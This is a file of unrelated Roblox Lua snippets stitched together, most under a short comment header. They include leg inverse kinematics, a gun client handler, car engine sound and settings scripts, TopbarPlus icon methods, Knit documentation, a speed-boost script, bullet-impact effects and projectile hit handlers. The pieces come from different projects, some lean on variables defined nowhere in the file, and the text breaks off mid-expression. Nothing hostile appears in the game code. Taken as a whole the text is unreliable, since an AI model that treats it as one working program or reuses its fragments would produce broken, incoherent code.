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--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//-- --//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//-- --//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//-- --//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//-- --//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--//--
local function solveLegIK(o,t,l0,l1) -- Does the major math -- Make the position local relative to the origin local l = o:pointToObjectSpace(t) -- World space to local space local lu = l.Unit -- Get normalized unit for future math local m = l.Magnitude -- Get the length from the position to the target -- Make a CFrame pointing from the shoulder position directing to the second position local x = forwardV3:Cross(-lu) -- Cross the forward vector with the negative of the normalized unit local g = math.acos(-lu.Z) -- Get the arc-cosine of the negative normalized unit local p = o*fromAxisAngle(x,g):inverse() -- Get the IK plane -- In a right-triangle, we have the hypotenuse and the two shorter legs. -- In a right triangle, the hypotenuse is side "c," and the legs are a and b. -- This information will be helpful later on. if m < math.max(l1,l0)-math.min(l1,l0) then -- If c is between the lengths of a and b then return an offsetted plane so that one of the lengths reaches the goal, -- but the other length is folded so it looks natural -- This cacluation is done when a position comes before the end of the leg, and may look a bit... odd return p*CF(0,0,math.max(l1,l0)-math.min(l1,l0)-m),-hpi,pi elseif m > l0+l1 then -- If c > a + b then return flat angles and an offsetted plane which reaches its target -- Basically, this make the leg flat if there is nothing to place it on return p,hpi,0 else -- Otherwise, use the law of cosines -- This is going to be all cases where the leg actually bends local a1 = -math.acos((-(l1*l1)+(l0*l0)+(m*m))/(2*l0*m)) local a2 = math.acos(((l1*l1)-(l0*l0)+(m*m))/(2*l1*m)) return p,hpi-a1,-(a2-a1) end end
--[=[ Information on type use. ]=]
type a = any local Service = game:GetService(...) local RequiredModule = require(...)
--------| Setting |--------
local blacklistedAssets = {} --- Blacklisted asset folders to ignore
--// Connections
L_72_.OnClientEvent:connect(function(L_134_arg1, L_135_arg2, L_136_arg3, L_137_arg4, L_138_arg5, L_139_arg6, L_140_arg7) if L_134_arg1 and not L_14_ then MakeFakeArms() L_23_ = L_18_:WaitForChild('MainGui'):clone() L_23_.Parent = L_2_.PlayerGui L_24_ = L_135_arg2 L_25_ = L_136_arg3 L_26_ = L_137_arg4 L_27_ = L_138_arg5 L_28_ = L_139_arg6 L_29_ = L_140_arg7 L_30_ = L_39_.Bolt L_54_ = L_29_.C1 L_55_ = L_29_.C0 if L_1_:FindFirstChild('AimPart2') then L_35_ = L_1_:WaitForChild('AimPart2') end if L_21_.FirstPersonOnly then L_2_.CameraMode = Enum.CameraMode.LockFirstPerson end --uis.MouseIconEnabled = false L_5_.FieldOfView = 70 L_14_ = true elseif L_14_ then if L_3_ and L_3_.Humanoid and L_3_.Humanoid.Health > 0 and L_9_ then Stand() end L_41_ = false L_44_ = false L_43_ = false Shooting = false L_64_ = 70 RemoveArmModel() L_23_:Destroy() if L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then L_3_['Right Arm'].LocalTransparencyModifier = 0 L_3_['Left Arm'].LocalTransparencyModifier = 0 end L_2_.CameraMode = Enum.CameraMode.Classic L_71_.MouseIconEnabled = true L_5_.FieldOfView = 70 L_14_ = false L_71_.MouseDeltaSensitivity = L_33_ L_4_.Icon = "http://www.roblox.com/asset?id=0" end end)
--//Setup//--
local SongsHolder = game.Workspace.SongsHolder local CurrentSong = SongsHolder.CurrentSong local Boombox = SongsHolder.Boombox
--Raycasting
local ignoreList = {Player.Character or Player.CharacterAdded:Wait()} local IgnoreLength = 1
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local on = 0 script:WaitForChild("Rev") if not FE then for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end for i,v in pairs(script:GetChildren()) do v.Parent=car.DriveSeat end car.DriveSeat.Rev:Play() while wait() do local _RPM = script.Parent.Values.RPM.Value if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end car.DriveSeat.Rev.Pitch = (car.DriveSeat.Rev.SetPitch.Value + car.DriveSeat.Rev.SetRev.Value*_RPM/_Tune.Redline)*on/1.2 end else local handler = car.AC6_FE_Sounds handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true) handler:FireServer("playSound","Rev") local pitch=0 while wait() do local _RPM = script.Parent.Values.RPM.Value if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end pitch = (script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline)*on/1.2 handler:FireServer("updateSound","Rev",script.Rev.SoundId,pitch,script.Rev.Volume) end end
--s.Pitch = 0
while s.Pitch<1 do s.Pitch=s.Pitch+0.01315 s:Play() if s.Pitch>1 then s.Pitch=1 end wait(0.001) end
--// bolekinds
local plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Parent script.Parent.MouseButton1Click:Connect(function() if plr.YouCash.Value >= 1500 and game.ServerStorage.ServerData.Bingus.Value == false then script.Parent.Parent.Parent.Ching:Play() plr.YouCash.Value -= 1500 game.ServerStorage.ServerData.Bingus.Value = true end end)
-- Button --
script.Parent.MouseEnter:Connect(function() local Color = Color3.fromRGB(255, 255, 255) TweenService:Create(frame, Info, {BackgroundColor3 = Color}):Play() end) script.Parent.MouseLeave:Connect(function() local ColorColor = Color3.fromRGB(42, 42, 42) TweenService:Create(frame, Info, {BackgroundColor3 = ColorColor}):Play() end)
--// Extras
WalkAnimEnabled = true; SwayEnabled = true;
--[[ [Horizontal and Vertical limits for head and body tracking.] [Setting to 0 negates tracking, setting to 1 is normal tracking, and setting to anything higher than 1 goes past real life head/body rotation capabilities.] --]]
local HeadHorFactor = 0.7 local HeadVertFactor = 0.4 local BodyHorFactor = 0.3 local BodyVertFactor = 0.3
-- Color shortcuts: you can use these strings instead of defining exact color values
richText.ColorShortcuts = {} richText.ColorShortcuts.White = Color3.new(1, 1, 1) richText.ColorShortcuts.Black = Color3.new(0, 0, 0) richText.ColorShortcuts.Red = Color3.new(1, 0.4, 0.4) richText.ColorShortcuts.Green = Color3.new(0.4, 1, 0.4) richText.ColorShortcuts.Blue = Color3.new(0.4, 0.4, 1) richText.ColorShortcuts.Cyan = Color3.new(0.4, 0.85, 1) richText.ColorShortcuts.Orange = Color3.new(1, 0.5, 0.2) richText.ColorShortcuts.Yellow = Color3.new(1, 0.9, 0.2) richText.ColorShortcuts.Pink = Color3.fromRGB(255, 170, 255)
-- CORE UTILITY METHODS
function Icon:set(settingName, value, iconState, setAdditional) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) if type(iconState) == "string" then iconState = iconState:lower() end local previousValue = self:get(settingName, iconState) if iconState == "hovering" then -- Apply hovering state if valid settingDetail.hoveringValue = value if setAdditional ~= "_ignorePrevious" then settingDetail.additionalValues["previous_"..iconState] = previousValue end if type(setAdditional) == "string" then settingDetail.additionalValues[setAdditional.."_"..iconState] = previousValue end self:_update(settingName) else -- Update the settings value local toggleState = iconState local settingType = settingDetail.type if settingType == "toggleable" then local valuesToSet = {} if toggleState == "deselected" or toggleState == "selected" then table.insert(valuesToSet, toggleState) else table.insert(valuesToSet, "deselected") table.insert(valuesToSet, "selected") toggleState = nil end for i, v in pairs(valuesToSet) do settingDetail.values[v] = value if setAdditional ~= "_ignorePrevious" then settingDetail.additionalValues["previous_"..v] = previousValue end if type(setAdditional) == "string" then settingDetail.additionalValues[setAdditional.."_"..v] = previousValue end end else settingDetail.value = value if type(setAdditional) == "string" then if setAdditional ~= "_ignorePrevious" then settingDetail.additionalValues["previous"] = previousValue end settingDetail.additionalValues[setAdditional] = previousValue end end -- Check previous and new are not the same if previousValue == value then return self, "Value was already set" end -- Update appearances of associated instances local currentToggleState = self:getToggleState() if not self._updateAfterSettingAll and settingDetail.instanceNames and (currentToggleState == toggleState or toggleState == nil) then local ignoreTweenAction = (settingName == "iconSize" and previousValue and previousValue.X.Scale == 1) local tweenInfo = (settingDetail.tweenAction and not ignoreTweenAction and self:get(settingDetail.tweenAction)) or TweenInfo.new(0) self:_update(settingName, currentToggleState, tweenInfo) end end -- Call any methods present if settingDetail.callMethods then for _, callMethod in pairs(settingDetail.callMethods) do callMethod(self, value, iconState) end end -- Call any signals present if settingDetail.callSignals then for _, callSignal in pairs(settingDetail.callSignals) do callSignal:Fire() end end return self end function Icon:setAdditionalValue(settingName, setAdditional, value, iconState) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) local stringMatch = setAdditional.."_" if iconState then stringMatch = stringMatch..iconState end for key, _ in pairs(settingDetail.additionalValues) do if string.match(key, stringMatch) then settingDetail.additionalValues[key] = value end end end function Icon:get(settingName, iconState, getAdditional) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) local valueToReturn, additionalValueToReturn if typeof(iconState) == "string" then iconState = iconState:lower() end --if ((self.hovering and settingDetail.hoveringValue) or iconState == "hovering") and getAdditional == nil then if (iconState == "hovering") and getAdditional == nil then valueToReturn = settingDetail.hoveringValue additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..iconState] end local settingType = settingDetail.type if settingType == "toggleable" then local toggleState = ((iconState == "deselected" or iconState == "selected") and iconState) or self:getToggleState() if additionalValueToReturn == nil then additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..toggleState] end if valueToReturn == nil then valueToReturn = settingDetail.values[toggleState] end else if additionalValueToReturn == nil then additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional] end if valueToReturn == nil then valueToReturn = settingDetail.value end end return valueToReturn, additionalValueToReturn end function Icon:getHovering(settingName) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) return settingDetail.hoveringValue end function Icon:getToggleState(isSelected) isSelected = isSelected or self.isSelected return (isSelected and "selected") or "deselected" end function Icon:getIconState() if self.hovering then return "hovering" else return self:getToggleState() end end function Icon:_update(settingName, toggleState, customTweenInfo) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) toggleState = toggleState or self:getToggleState() local value = settingDetail.value or (settingDetail.values and settingDetail.values[toggleState]) if self.hovering and settingDetail.hoveringValue then value = settingDetail.hoveringValue end if value == nil then return end local tweenInfo = customTweenInfo or (settingDetail.tweenAction and settingDetail.tweenAction ~= "" and self:get(settingDetail.tweenAction)) or self:get("toggleTransitionInfo") or TweenInfo.new(0.15) local propertyName = settingDetail.propertyName local invalidPropertiesTypes = { ["string"] = true, ["NumberSequence"] = true, ["Text"] = true, ["EnumItem"] = true, ["ColorSequence"] = true, } local uniqueSetting = self._uniqueSettingsDictionary[settingName] local newValue = value if settingDetail.useForcedGroupValue then newValue = settingDetail.forcedGroupValue end if settingDetail.instanceNames then for _, instanceName in pairs(settingDetail.instanceNames) do local instance = self.instances[instanceName] local propertyType = typeof(instance[propertyName]) local cannotTweenProperty = invalidPropertiesTypes[propertyType] or typeof(instance) == "table" if uniqueSetting then uniqueSetting(settingName, instance, propertyName, newValue) elseif cannotTweenProperty then instance[propertyName] = value else tweenService:Create(instance, tweenInfo, {[propertyName] = newValue}):Play() end -- if settingName == "iconSize" and instance[propertyName] ~= newValue then self.updated:Fire() end -- end end end function Icon:_updateAll(iconState, customTweenInfo) for settingName, settingDetail in pairs(self._settingsDictionary) do if settingDetail.instanceNames then self:_update(settingName, iconState, customTweenInfo) end end end function Icon:_updateHovering(customTweenInfo) for settingName, settingDetail in pairs(self._settingsDictionary) do if settingDetail.instanceNames and settingDetail.hoveringValue ~= nil then self:_update(settingName, nil, customTweenInfo) end end end function Icon:_updateStateOverlay(transparency, color) local stateOverlay = self.instances.iconOverlay stateOverlay.BackgroundTransparency = transparency or 1 stateOverlay.BackgroundColor3 = color or Color3.new(1, 1, 1) end function Icon:setTheme(theme, updateAfterSettingAll) self._updateAfterSettingAll = updateAfterSettingAll for settingsType, settingsDetails in pairs(theme) do if settingsType == "toggleable" then for settingName, settingValue in pairs(settingsDetails.deselected) do if not self.lockedSettings[settingName] then self:set(settingName, settingValue, "both") end end for settingName, settingValue in pairs(settingsDetails.selected) do if not self.lockedSettings[settingName] then self:set(settingName, settingValue, "selected") end end else for settingName, settingValue in pairs(settingsDetails) do if not self.lockedSettings[settingName] then local settingDetail = self._settingsDictionary[settingName] if settingsType == "action" and settingDetail == nil then settingDetail = {} self._settingsDictionary[settingName] = {} end self:set(settingName, settingValue) end end end end self._updateAfterSettingAll = nil if updateAfterSettingAll then self:_updateAll() end return self end function Icon:getInstance(instanceName) return self.instances[instanceName] end function Icon:setInstance(instanceName, instance) local originalInstance = self.instances[instanceName] self.instances[instanceName] = instance if originalInstance then originalInstance:Destroy() end return self end function Icon:getSettingDetail(targetSettingName) for _, settingsDetails in pairs(self._settings) do for settingName, settingDetail in pairs(settingsDetails) do if settingName == targetSettingName then return settingDetail end end end return false end function Icon:modifySetting(settingName, dictionary) local settingDetail = self:getSettingDetail(settingName) for key, value in pairs(dictionary) do settingDetail[key] = value end return self end function Icon:convertLabelToNumberSpinner(numberSpinner) -- This updates the number spinners appearance self:set("iconLabelSize", UDim2.new(1,0,1,0)) numberSpinner.Parent = self:getInstance("iconButton") -- This creates a fake iconLabel which updates the property of all descendant spinner TextLabels when indexed local textLabel = {} setmetatable(textLabel, {__newindex = function(_, index, value) for _, label in pairs(numberSpinner.Frame:GetDescendants()) do if label:IsA("TextLabel") then label[index] = value end end end}) -- This overrides existing instances and settings so that they update the spinners properties (instead of the old textlabel) local iconButton = self:getInstance("iconButton") iconButton.ZIndex = 0 self:setInstance("iconLabel", textLabel) self:modifySetting("iconText", {instanceNames = {}}) -- We do this to prevent text being modified within the metatable above self:setInstance("iconLabelSpinner", numberSpinner.Frame) local settingsToConvert = {"iconLabelVisible", "iconLabelAnchorPoint", "iconLabelPosition", "iconLabelSize"} for _, settingName in pairs(settingsToConvert) do self:modifySetting(settingName, {instanceNames = {"iconLabelSpinner"}}) end -- This applies all the values we just updated self:_updateAll() return self end function Icon:setEnabled(bool) self.enabled = bool self.instances.iconContainer.Visible = bool self.updated:Fire() return self end function Icon:setName(string) self.name = string self.instances.iconContainer.Name = string return self end function Icon:setProperty(propertyName, value) self[propertyName] = value return self end function Icon:_playClickSound() local clickSound = self.instances.clickSound if clickSound.SoundId ~= nil and #clickSound.SoundId > 0 and clickSound.Volume > 0 then local clickSoundCopy = clickSound:Clone() clickSoundCopy.Parent = clickSound.Parent clickSoundCopy:Play() debris:AddItem(clickSoundCopy, clickSound.TimeLength) end end function Icon:select(byIcon) --if self.locked then return self end self.isSelected = true self:_setToggleItemsVisible(true, byIcon) self:_updateNotice() self:_updateAll() self:_playClickSound() if #self.dropdownIcons > 0 or #self.menuIcons > 0 then IconController:_updateSelectionGroup() end if userInputService.GamepadEnabled then -- If a corresponding guiObject is found (set via :setToggleItem()) then this automatically -- moves the controller selection to a selectable and active instance within that guiObject. -- It also support back (Controller B) being pressed by navigating to previous pages or -- closing the icon and focusing selection back on the controller navigation topbar. for toggleItem, buttonInstancesArray in pairs(self.toggleItems) do if #buttonInstancesArray > 0 then local focusMaid = Maid.new() guiService:AddSelectionTuple(self.UID, unpack(buttonInstancesArray)) guiService.SelectedObject = buttonInstancesArray[1] IconController.activeButtonBCallbacks += 1 focusMaid:give(userInputService.InputEnded:Connect(function(input, processed) local blockBackBehaviour = false for _, func in pairs(self.blockBackBehaviourChecks) do if func() == true then blockBackBehaviour = true break end end if input.KeyCode == Enum.KeyCode.ButtonB and not blockBackBehaviour then guiService.SelectedObject = self.instances.iconButton self:deselect() end end)) focusMaid:give(self.deselected:Connect(function() focusMaid:clean() end)) focusMaid:give(function() IconController.activeButtonBCallbacks -= 1 if IconController.activeButtonBCallbacks < 0 then IconController.activeButtonBCallbacks = 0 end end) end end end self.selected:Fire() self.toggled:Fire(self.isSelected) return self end function Icon:deselect(byIcon) --if self.locked then return self end self.isSelected = false self:_setToggleItemsVisible(false, byIcon) self:_updateNotice() self:_updateAll() self:_playClickSound() if #self.dropdownIcons > 0 or #self.menuIcons > 0 then IconController:_updateSelectionGroup() end self.deselected:Fire() self.toggled:Fire(self.isSelected) if userInputService.GamepadEnabled then guiService:RemoveSelectionGroup(self.UID) end return self end function Icon:notify(clearNoticeEvent, noticeId) coroutine.wrap(function() if not clearNoticeEvent then clearNoticeEvent = self.deselected end if self._parentIcon then self._parentIcon:notify(clearNoticeEvent) end local notifComplete = Signal.new() local endEvent = self._endNotices:Connect(function() notifComplete:Fire() end) local customEvent = clearNoticeEvent:Connect(function() notifComplete:Fire() end) noticeId = noticeId or httpService:GenerateGUID(true) self.notices[noticeId] = { completeSignal = notifComplete, clearNoticeEvent = clearNoticeEvent, } self.totalNotices += 1 self:_updateNotice() self.notified:Fire(noticeId) notifComplete:Wait() endEvent:Disconnect() customEvent:Disconnect() notifComplete:Disconnect() self.totalNotices -= 1 self.notices[noticeId] = nil self:_updateNotice() end)() return self end function Icon:_updateNotice() local enabled = true if self.totalNotices < 1 then enabled = false end -- Deselect if not self.isSelected then if (#self.dropdownIcons > 0 or #self.menuIcons > 0) and self.totalNotices > 0 then enabled = true end end -- Select if self.isSelected then if #self.dropdownIcons > 0 or #self.menuIcons > 0 then enabled = false end end local value = (enabled and 0) or 1 self:set("noticeImageTransparency", value) self:set("noticeTextTransparency", value) self.instances.noticeLabel.Text = (self.totalNotices < 100 and self.totalNotices) or "99+" end function Icon:clearNotices() self._endNotices:Fire() return self end function Icon:disableStateOverlay(bool) if bool == nil then bool = true end local stateOverlay = self.instances.iconOverlay stateOverlay.Visible = not bool return self end
-- assume we are in the character, let's check
function sepuku() script.Parent = nil end local h = script.Parent:FindFirstChild("Humanoid") if (h == nil) then sepuku() end local oldSpeed = h.WalkSpeed h.WalkSpeed = h.WalkSpeed * 1.6 local torso = script.Parent:FindFirstChild("Torso") if (torso == nil) then sepuku() end local head = script.Parent:FindFirstChild("Head") if (head == nil) then head = torso end local s = Instance.new("Sparkles") s.Color = Color3.new(.8, 0, .8) s.Parent = torso local count = h:FindFirstChild("CoffeeCount") if (count == nil) then count = Instance.new("IntValue") count.Name = "CoffeeCount" count.Value = 1 count.Parent = h else if (count.Value > 3) then if (math.random() > .5) then local sound = Instance.new("Sound") sound.SoundId = "rbxasset://sounds\\Rocket shot.wav" sound.Parent = head sound.Volume = 1 sound:play() local e = Instance.new("Explosion") e.BlastRadius = 4 e.Position = head.Position s:Clone().Parent = head e.Parent = head end end count.Value = count.Value + 1 end wait(30) h.WalkSpeed = oldSpeed s:Remove() script.Parent = nil
--[[ Returns when the initial snapshot of the game has finished replicating to the client. Used by the client side entry point script to determine when to hide the loading screen. --]]
local function waitForGameLoadedAsync() if game:IsLoaded() then return end game.Loaded:Wait() end return waitForGameLoadedAsync
---------------------------------------------------------------------- --------------------[ BULLET IMPACT HANDLING ]------------------------ ----------------------------------------------------------------------
local createBulletImpact = script:WaitForChild("createBulletImpact") createBulletImpact.OnServerEvent:connect(function(_, H, P, N, D, humanoidFound, gunIgnore, S) local surfaceCF = CF(P, P + N) ---------------------------------------------------------------------------------- --Creating the bullet hole-------------------------------------------------------- ---------------------------------------------------------------------------------- if S.bulletHoles and (not humanoidFound) then local Hole = Instance.new("Part") Hole.Transparency = 1 Hole.Anchored = true Hole.CanCollide = false Hole.FormFactor = "Custom" Hole.Size = V3(1, 1, 0.2) Hole.TopSurface = 0 Hole.BottomSurface = 0 local Mesh = Instance.new("BlockMesh") Mesh.Offset = V3(0, 0, -0.05) Mesh.Scale = V3(S.holeSettings.Size, S.holeSettings.Size, 0) Mesh.Parent = Hole local Decal = Instance.new("Decal") Decal.Face = Enum.NormalId.Front Decal.Texture = S.holeSettings.Texture Decal.Parent = Hole Hole.Parent = gunIgnore Hole.CFrame = surfaceCF if (not H.Anchored) then local Weld = Instance.new("Weld", Hole) Weld.Part0 = H Weld.Part1 = Hole Weld.C0 = H.CFrame:toObjectSpace(surfaceCF) Hole.Anchored = false end delay(S.holeSettings.visibleTime, function() if S.holeSettings.disappearTime > 0 then local t0 = tick() while true do local Alpha = math.min((tick() - t0) / S.holeSettings.disappearTime, 1) Decal.Transparency = numLerp(0, 1, Alpha) if Alpha == 1 then break end wait() end Hole:Destroy() else Hole:Destroy() end end) end ---------------------------------------------------------------------------------- --Creating the spark effect------------------------------------------------------- ---------------------------------------------------------------------------------- if S.bulletSparks and (not humanoidFound) and inList(H.Material, S.sparkSettings.Materials) then local Sparks = Instance.new("Part") Sparks.Transparency = 1 Sparks.Anchored = true Sparks.CanCollide = false Sparks.FormFactor = "Custom" Sparks.Size = V3(1, 1, 1) Sparks.TopSurface = 0 Sparks.BottomSurface = 0 local Particles = Instance.new("ParticleEmitter") Particles.Color = ColorSequence.new(S.sparkSettings.Color) Particles.LightEmission = 1 Particles.Size = NumberSequence.new(S.sparkSettings.Size) Particles.Texture = S.sparkSettings.Texture Particles.Transparency = NumberSequence.new( { NumberSequenceKeypoint.new(0, 0.25, 0.25); NumberSequenceKeypoint.new(1, 1); } ) Particles.Acceleration = V3(0, -196.2, 0) Particles.EmissionDirection = Enum.NormalId.Front Particles.Lifetime = NumberRange.new(S.sparkSettings.Lifetime - 0.05, S.sparkSettings.Lifetime + 0.05) Particles.Rate = S.sparkSettings.Rate Particles.RotSpeed = NumberRange.new(360) Particles.Speed = NumberRange.new(S.sparkSettings.Speed - 5, S.sparkSettings.Speed + 5) Particles.VelocitySpread = S.sparkSettings.Spread Particles.Parent = Sparks Sparks.Parent = gunIgnore Sparks.CFrame = surfaceCF if (not H.Anchored) then local Weld = Instance.new("Weld", Sparks) Weld.Part0 = H Weld.Part1 = Sparks Weld.C0 = H.CFrame:toObjectSpace(surfaceCF) Sparks.Anchored = false end delay(0.1, function() Particles.Enabled = false wait(S.sparkSettings.Lifetime + 0.05) Sparks:Destroy() end) end ---------------------------------------------------------------------------------- --Creating the smoke effect------------------------------------------------------- ---------------------------------------------------------------------------------- if S.bulletSmoke and (not humanoidFound) then local Smoke = Instance.new("Part") Smoke.Transparency = 1 Smoke.Anchored = true Smoke.CanCollide = false Smoke.FormFactor = "Custom" Smoke.Size = V3(1, 1, 1) Smoke.TopSurface = 0 Smoke.BottomSurface = 0 local Particles = Instance.new("ParticleEmitter") Particles.Color = ColorSequence.new(S.smokeSettings.objColor and H.Color or S.smokeSettings.Color) Particles.LightEmission = 0 Particles.Size = NumberSequence.new( { NumberSequenceKeypoint.new(0, S.smokeSettings.Size.Start); NumberSequenceKeypoint.new(1, S.smokeSettings.Size.End); } ) Particles.Texture = S.smokeSettings.Texture Particles.Transparency = NumberSequence.new( { NumberSequenceKeypoint.new(0, S.smokeSettings.startTransparency); NumberSequenceKeypoint.new(0.5, 0.75 * S.smokeSettings.startTransparency + 0.25); NumberSequenceKeypoint.new(1, 1); } ) Particles.Acceleration = V3(0, -196.2, 0) Particles.EmissionDirection = Enum.NormalId.Front Particles.Lifetime = NumberRange.new(S.smokeSettings.Lifetime - 0.05, S.smokeSettings.Lifetime + 0.05) Particles.Rate = S.smokeSettings.Rate Particles.Rotation = NumberRange.new(0, 360) Particles.RotSpeed = NumberRange.new(10) Particles.Speed = NumberRange.new(S.smokeSettings.Speed - 5, S.smokeSettings.Speed + 5) Particles.VelocitySpread = S.smokeSettings.Spread Particles.Parent = Smoke Smoke.Parent = gunIgnore Smoke.CFrame = surfaceCF if (not H.Anchored) then local Weld = Instance.new("Weld", Smoke) Weld.Part0 = H Weld.Part1 = Smoke Weld.C0 = H.CFrame:toObjectSpace(surfaceCF) Smoke.Anchored = false end delay(0.1, function() Particles.Enabled = false wait(S.smokeSettings.Lifetime + 0.05) Smoke:Destroy() end) end end)
-- Editable Values
local ExhaustId = 5937167081 local EngineId = 6002661882 local IdleId = 5226685480 local RedlineId = 5070456793 local ExhaustVol = .0 local ExhaustRollOffMax = 1000 local ExhaustRollOffMin = 10 local ExhaustVolMult = 1.05 local EngineVol = .0 local EngineRollOffMax = 1000 local EngineRollOffMin = 15 local EngineVolMult = 1.25 local IdleVol = 0 local IdleRollOffMax = 1000 local IdleRollOffMin = 5 local IdleRPMScale = 1500 local RedlineVol = .0 local RedlineRollOffMax = 1000 local RedlineRollOffMin = 5 local ExhaustPitch = .3 local EnginePitch = .5 local ExhaustRev = 1 local EngineRev = .8 local ExhaustEqualizer = {0,4,6} local EngineEqualizer = {0,4,6} local ExhaustDecelEqualizer = {-25,0,5} local EngineDecelEqualizer = {-25,0,5} local ThrottleVolMult = .5 local ThrottlePitchMult = .1 local ExhaustDistortion = .0 local ExhaustRevDistortion = .3 local EngineDistortion = .2 local EngineRevDistortion = .5 local FE=true
--[=[ Returns a Service object which is a reflection of the remote objects within the Client table of the given service. Throws an error if the service is not found. If a service's Client table contains RemoteSignals and/or RemoteProperties, these values are reflected as [ClientRemoteSignals](https://sleitnick.github.io/RbxUtil/api/ClientRemoteSignal) and [ClientRemoteProperties](https://sleitnick.github.io/RbxUtil/api/ClientRemoteProperty). ```lua -- Server-side service creation: local MyService = Knit.CreateService { Name = "MyService", Client = { MySignal = Knit.CreateSignal(), MyProperty = Knit.CreateProperty("Hello"), }, } function MyService:AddOne(player, number) return number + 1 end ------------------------------------------------- -- Client-side service reflection: local MyService = Knit.GetService("MyService") -- Call a method: local num = MyService:AddOne(5) --> 6 -- Fire a signal to the server: MyService.MySignal:Fire("Hello") -- Listen for signals from the server: MyService.MySignal:Connect(function(message) print(message) end) -- Observe the initial value and changes to properties: MyService.MyProperty:Observe(function(value) print(value) end) ``` :::caution Services are only exposed to the client if the service has remote-based content in the Client table. If not, the service will not be visible to the client. `KnitClient.GetService` will only work on services that expose remote-based content on their Client tables. ::: ]=]
function KnitClient.GetService(serviceName: string): Service local service = services[serviceName] if service then return service end assert(started, "Cannot call GetService until Knit has been started") assert(type(serviceName) == "string", `ServiceName must be a string; got {type(serviceName)}`) return BuildService(serviceName) end
-- This has to be done so that camera occlusion ignores the vehcile.
local function updateCameraSubject() local humanoid = getLocalHumanoid() if humanoid and humanoid.SeatPart then --Workspace.CurrentCamera.CameraSubject = humanoid.SeatPart end end updateCameraSubject() ProximityPromptService.Enabled = false
--[=[ Requires all the modules that are descendants of the given parent. ]=]
function KnitServer.AddServicesDeep(parent: Instance): { Service } local addedServices = {} for _, v in parent:GetDescendants() do if not v:IsA("ModuleScript") then continue end table.insert(addedServices, require(v)) end return addedServices end
--Miscellaneous Settings:
HANDBRAKE_ANG = 15 --Angle of handbrake when active in degrees PADDLE_ANG = 15 --Angle of paddle shifter PADDLE_INVERTED = false --Sets right paddle to shift down and vice versa PEDAL_ANGLE = 15 --Angle of pedals when active in degrees PED_INVERTED = false --Inverts the pedal angle (for top mounted pedals) SHIFTER_TYPE = "H" --"H" for H-Pattern, "Seq" for sequential shifter SEQ_INVERTED = false --Inverts the sequential shifter motion SHIFT_TIME = 0.25 --Time it takes to shift between all parts (Clutch pedal, Paddle shifter, Shifter VERTICAL_ANG = 8.5 --Vertical shifter movement angle in degrees HORIZONTAL_ANG = 10.0 --Horizontal shifter increments in degrees (H-Pattern only) STEER_MULT = 5.0 --Steering multiplier angle (Arbitrary) STEER_VERS = "New" --"Old" Not accurate to the wheels, "New" Accurate but laggy.
--------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------- -- Event Handlers
function OnRayHit(cast, raycastResult, segmentVelocity, cosmeticBulletObject) -- This function will be connected to the Caster's "RayHit" event. local hitPart = raycastResult.Instance local hitPoint : Vector3 = raycastResult.Position local normal = raycastResult.Normal local distance = hitPoint - FirePointObject.WorldPosition KnockBack(hitPoint, 2-math.min(2, distance.Magnitude/20) ) if hitPart ~= nil and hitPart.Parent ~= nil then -- Test if we hit something local humanoid = hitPart.Parent:FindFirstChildOfClass("Humanoid") -- Is there a humanoid? if humanoid then humanoid:TakeDamage(100) -- Damage. end PlayLandSound(hitPoint) MakeParticleFX(hitPoint, normal) -- Particle FX end end function OnRayPierced(cast, raycastResult, segmentVelocity, cosmeticBulletObject) -- You can do some really unique stuff with pierce behavior - In reality, pierce is just the module's way of asking "Do I keep the bullet going, or do I stop it here?" -- You can make use of this unique behavior in a manner like this, for instance, which causes bullets to be bouncy. local position = raycastResult.Position local normal = raycastResult.Normal local newNormal = Reflect(normal, segmentVelocity.Unit) cast:SetVelocity(newNormal * segmentVelocity.Magnitude) -- It's super important that we set the cast's position to the ray hit position. Remember: When a pierce is successful, it increments the ray forward by one increment. -- If we don't do this, it'll actually start the bounce effect one segment *after* it continues through the object, which for thin walls, can cause the bullet to almost get stuck in the wall. cast:SetPosition(position) -- Generally speaking, if you plan to do any velocity modifications to the bullet at all, you should use the line above to reset the position to where it was when the pierce was registered. end function OnRayUpdated(cast, segmentOrigin, segmentDirection, length, segmentVelocity, cosmeticBulletObject) -- Whenever the caster steps forward by one unit, this function is called. -- The bullet argument is the same object passed into the fire function. if cosmeticBulletObject == nil then return end local bulletLength = cosmeticBulletObject.Size.Z / 2 -- This is used to move the bullet to the right spot based on a CFrame offset local baseCFrame = CFrame.new(segmentOrigin, segmentOrigin + segmentDirection) cosmeticBulletObject.CFrame = baseCFrame * CFrame.new(0, 0, 